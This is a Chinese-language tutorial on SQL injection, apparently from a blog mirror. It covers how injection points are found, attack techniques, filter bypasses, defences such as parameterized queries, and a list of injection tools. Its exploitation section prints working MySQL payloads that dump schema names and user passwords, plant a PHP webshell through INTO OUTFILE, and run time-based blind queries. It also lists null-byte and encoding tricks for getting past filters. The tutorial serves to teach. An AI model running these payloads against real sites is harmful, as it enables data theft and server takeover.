Web安全 - SQL注入

SQL Injection

1、原理

1. 什麼是數據庫?

數據庫就是按照數據結構來組織、存儲和管理數據的創建在計算機存儲設備上的倉庫。php

2. 什麼是SQL?

一種特殊目的的編程語言,是一種數據庫查詢和程序設計語言,用於存取數據以及查詢、更新和管理數據庫系統。常見數據庫好比 Access、SQL Server、MySQL、Oracle、Sybase、DB2以及其餘數據庫系統。html

3. 什麼是SQL注入?

SQL注入 就是一種 經過操做輸入 來修改後臺SQL語句達到 執行惡意SQL代碼 進行攻擊目的的技術。git

4. SQL注入是怎麼產生的?

構造動態字符串是一種編程技術,它容許開發人員在運行過程當中動態構造SQL語句。開發人員可使用動態SQL來建立通用、靈活的應用。動態SQL語句是在執行過程當中構造的,它根據不一樣的條件產生不一樣的 SQL語句。當開發人員在運行過程當中須要根據不一樣的查詢標準來決定提取什麼字段(如SELECT語句),或者根據不一樣的條件來選擇不一樣的查詢表時,動態構造SQL語句會很是有用。github

在 PHP 中動態構造 SQL 語句字符串:
$query = "SELECT * FROM users WHERE username = ".$_GET["admin"];web

經過控制輸入參數admin,修改所要執行SQL語句邏輯,達到攻擊的目的。正則表達式

2、尋找

常見的注入點算法

  • GET 請求:該請求在 URL 中發送參數。
  • POST 請求:數據被包含在請求體中。
  • 其餘注入型數據:HTTP 請求的頭部字段也可能會觸發 SQL 注入漏洞

1. 有錯誤信息返回

在注入點參數中添加單/雙引號,看是否會返回錯誤信息:
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1sql

2. 無錯誤信息返回

and : 同爲真時爲真。
or : 同爲假時爲假。

若是頁面不返回任何錯誤信息,咱們就能夠藉助本方法來推斷了,首先咱們在參數後面加上 and 1=1 和 and 1=2 看看有什麼不一樣。shell

and 1=1 能返回數據,而 and 1=2 沒有,這是因爲 1=1是一個爲真的條件,前面的結果是 true,true and true 因此沒有任何問題,第二個 1=2 是個假條件, true and false 仍是 false,因此就沒有數據返回。數據庫


先把參數改成很大的數或負數,要讓它查詢不到數據,咱們加上 or 1=1 就成功返回了數據,這是由於 1=1 爲真,無論前面是否是假,數據都會返回。當 or 1=2 時,由於 1=2 爲假,先後都爲假,最終也是假,數據就不會返回了。

3、利用

1. 識別數據庫

1.1 經過網站腳本類型判斷

  • PHP -> Oracle、MySQL
  • JSP -> Oracle、MySQL
  • ASP/.NET -> SQL Server

1.2 經過錯誤信息判斷

  • MySQL -> error:You have an error in your SQL syntax; check themanual that corresponds to your MySQL server version
  • Oracle -> Microsoft OLE DB Provider for ODBC Drivers 錯誤

1.3 經過數字函數判斷

  • SQL Server -> @@pack_received、@@rowcount
  • MySQL -> connection_id()、last_insert_id() 、 row_count()
  • Oracle -> BITAND(1,1)
  • PostgreSQL -> select EXTRACT(DOW FROMNOW())

2. UINON 語句提取數據

UNION 操做符能夠合併兩條或多條 SELECT 語句的查詢結果,基本語法以下:
select column1 column2 from table1 UNION select column1 column2 from table2

使用UNION 要知足兩個條件:
1.兩個查詢返回的列數必須相同
2.兩個查詢語句對於列返回的數據類型必須相同

2.1 列數得到

order by 子句能夠幫助咱們獲得列數。// 最大且不報錯的數即爲咱們所要獲得的列數。

2.2 列回顯點得到

?id=-1' union select 1,2,3%23

先查詢一個不存在的參數,本應該返回空的;
可是使用UNION查詢,會輸出後面的查詢;
用數字去佔位,因此能看到的數字就是回顯點。

2.3 猜解數據庫

1. 查詢數據庫版本信息

?id=' union select 1,version(),3%23

2. 查詢當前數據庫和用戶

?id=' union select 1,database(),user()%23

3. 查詢全部數據庫

?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

4. 查詢表名

?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23

5. 查詢列名

?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23

5. 查詢字段值

?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23

2.4 獲取哈希口令

哈希口令是經過使用PASSWORD()函數計算的,具體算法取決於MySQL安裝的版本。
select password('admin')
也能夠經過在線解密網站進行解密。如 CMD5

2.5 寫入Webshell

須要獲得網站的絕對路徑,數據庫管理系統有向服務器文件系統寫文件的權限。
?id=1' union select "<?php @eval($_POST['cmd']);?>" into outfile "D:\\XXX\\conn.php"%23

2.6 盲注利用

上面是顯注的通常利用過程,盲注的話,改一下基本查詢語句,利用sleep()函數,過程上與顯注相似。

id=1 union select 1,if(SUBSTRING(user(),1,4)='root',sleep(5),1),3

IF(expr1,expr2,expr3),若是expr1的值爲true,則返回expr2的值,若是expr1的值爲false,則返回expr3的值。

4、防護

Web應用爲了防護包括SQL注入在內的攻擊,經常使用輸入過濾器,這些過濾器能夠在應用的代碼中,也能夠經過外部實現,好比 Web 應用防火牆和入侵防護系統。

1. 繞過方法總結

1.1 大小寫

這種方法適用於關鍵字阻塞過濾器不聰明的時候,咱們能夠變換關鍵字字符串中字符的大小寫來避開過濾,由於使用不區分大小寫的方式處理SQL關鍵字。

1.2 URL編碼

經過把咱們構造的payload中的特殊字符進行URL編碼,而後過濾器就不會匹配到,$_GET函數自己會對括號內的字符串進行URL解碼,從而實現繞過。
空格->%20、"->%2二、#->%2三、%->%2五、'->%2七、(->%2八、)->%29 ...

1.3 SQL註釋

//--/* */#--+

1.4 空字節

一般的輸入過濾器都是在應用程序以外的代碼實現的。好比入侵檢測系統,這些系統通常是由原生編程語言開發而成,好比C++,爲何空字節能起做用呢,就是由於在原生編程語言中,根據字符串起始位置到第一個出現空字節的位置來肯定字符串長度。因此說空字節就有效的終止了字符串。只須要在過濾器阻止的字符串前面提供一個採用 URL 編碼的空字節便可,例如:
%00' union select username,password from users where username='admin' --

1.5 等價函數與命令

ascii() -> hex()、bin()

sleep() -> benchmark()

group_concat() -> concat_ws()

substr() -> mid()、substring()

user() -> @@user

datadir() -> @@datadir

2. 防護技巧

2.1 輸入驗證

輸入驗證是指要驗證全部應用程序接收到的輸入是否合法。有兩中不一樣類型的輸入驗證方法:白名單和黑名單驗證

  • 白名單驗證:好比id值,那麼咱們判斷它是否爲數字。
  • 黑名單驗證:使用正則表達式禁止使用某些字符和字符串

應該儘可能使用白名單,對於沒法使用白名單的,使用黑名單提供局部限制。

2.2 編碼輸出

  1. 全部的查詢語句都使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。當前幾乎全部的數據庫系統都提供了參數化SQL語句執行接口,使用此接口結合預編譯語句能夠很是有效的防止SQL注入攻擊。
  2. 對進入數據庫的特殊字符('"<>&*;-- 等)進行轉義處理,或編碼轉換。
  3. 確認每種數據的類型,好比數字型的數據就必須是數字,數據庫中的存儲字段必須對應爲int型。
  4. 數據長度應該嚴格規定,能在必定程度上防止比較長的SQL注入語句沒法正確執行。
  5. 網站每一個數據層的編碼統一,建議所有使用UTF-8編碼,上下層編碼不一致有可能致使一些過濾模型被繞過。
  6. 使用低權限帳號啓動數據庫,禁用數據庫的危險函數如 xp_cmd ,禁用危險存儲過程
  7. 用戶權限使用最小權限原則,好比只使用到讀權限的用戶,只分配查詢權限。

5、工具

SQLmap

sqlmap 是一個開源的滲透測試工具,能夠用來自動化的檢測,利用 SQL 注入漏洞,獲取數據庫服務器的權限。它具備功能強大的檢測引擎 , 針對各類不一樣類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操做系統文件甚至能夠經過外帶數據鏈接的方式執行操做系統命令。

Pangolin

Pangolin是一款幫助滲透測試人員進行 SQL 注入測試的安全工具。它具有友好的圖形界面以及支持測試幾乎全部數據庫,並可以經過一系列很是簡單的操做,達到最大化的攻擊測試效果。

Havij

Havij 是一款自動化的 SQL 注入工具,它不只可以自動挖掘可利用的 SQL 查詢,還可以識別後臺數據庫類型、檢索數據的用戶名和密碼 hash、轉儲表和列、從數據庫中提取數據,甚至訪問底層文件系統和執行系統命令。

SSQLInjection

超級SQL注入工具(SSQLInjection)是一款基於 HTTP協議自組包的SQL注入工具,支持出如今 HTTP 協議任意位置的SQL注入,支持各類類型的SQL注入,支持HTTPS模式注入。目前支持 Bool 型盲注、錯誤顯示注入、Union注入,支持 Access、MySQL 5以上版本、SQLServer、Oracle等數據庫。採用C# 開發,底層採用Socket發包進行HTTP交互,極大的提高了發包效率,相比C#自帶的 HttpWebRequest 速度提高2-5倍。支持盲注環境獲取世界各國語言數據,直接秒殺各類注入工具在盲注環境下沒法支持中文等多字節編碼的數據。

The Mole

The Mole 是一款開源的自動化SQL注入工具,其可繞過IPS/IDS(入侵防護系統/入侵檢測系統)。只需提供一個URL和一個可用的關鍵字,它就可以檢測注入點並利用。The Mole可使用union注入技術和基於邏輯查詢的注入技術。The Mole攻擊範圍包括SQL Server、MySQL、Postgres和Oracle數據庫。

BBQSQL

BBQSQL是一個Python編寫的盲注工具(Blind SQL injection framework),當你檢測可疑的注入漏洞時會頗有用。同時 BBQSQL 是一個半自動工具,容許客戶自定義參數。

Jsql

JSQL 是一款 Java 開發的輕量級遠程服務器數據庫注入漏洞測試工具,且免費、開源、跨平臺 (Windows,Linux, Mac OS X, Solaris)。

Sqlsus

sqlsus是一個開放源代碼的 MySQL 注入和接管工具,sqlsus 使用 perl 編寫 , 基於命令行界面。sqlsus能夠獲取數據庫結構,注入你本身的 SQL 語句,從服務器下載文件,爬行 web 站點可寫目錄,上傳和控制後門,克隆數據庫等等

參考:i春秋半月刊 https://bbs.ichunqiu.com/thre...

相關文章
相關標籤/搜索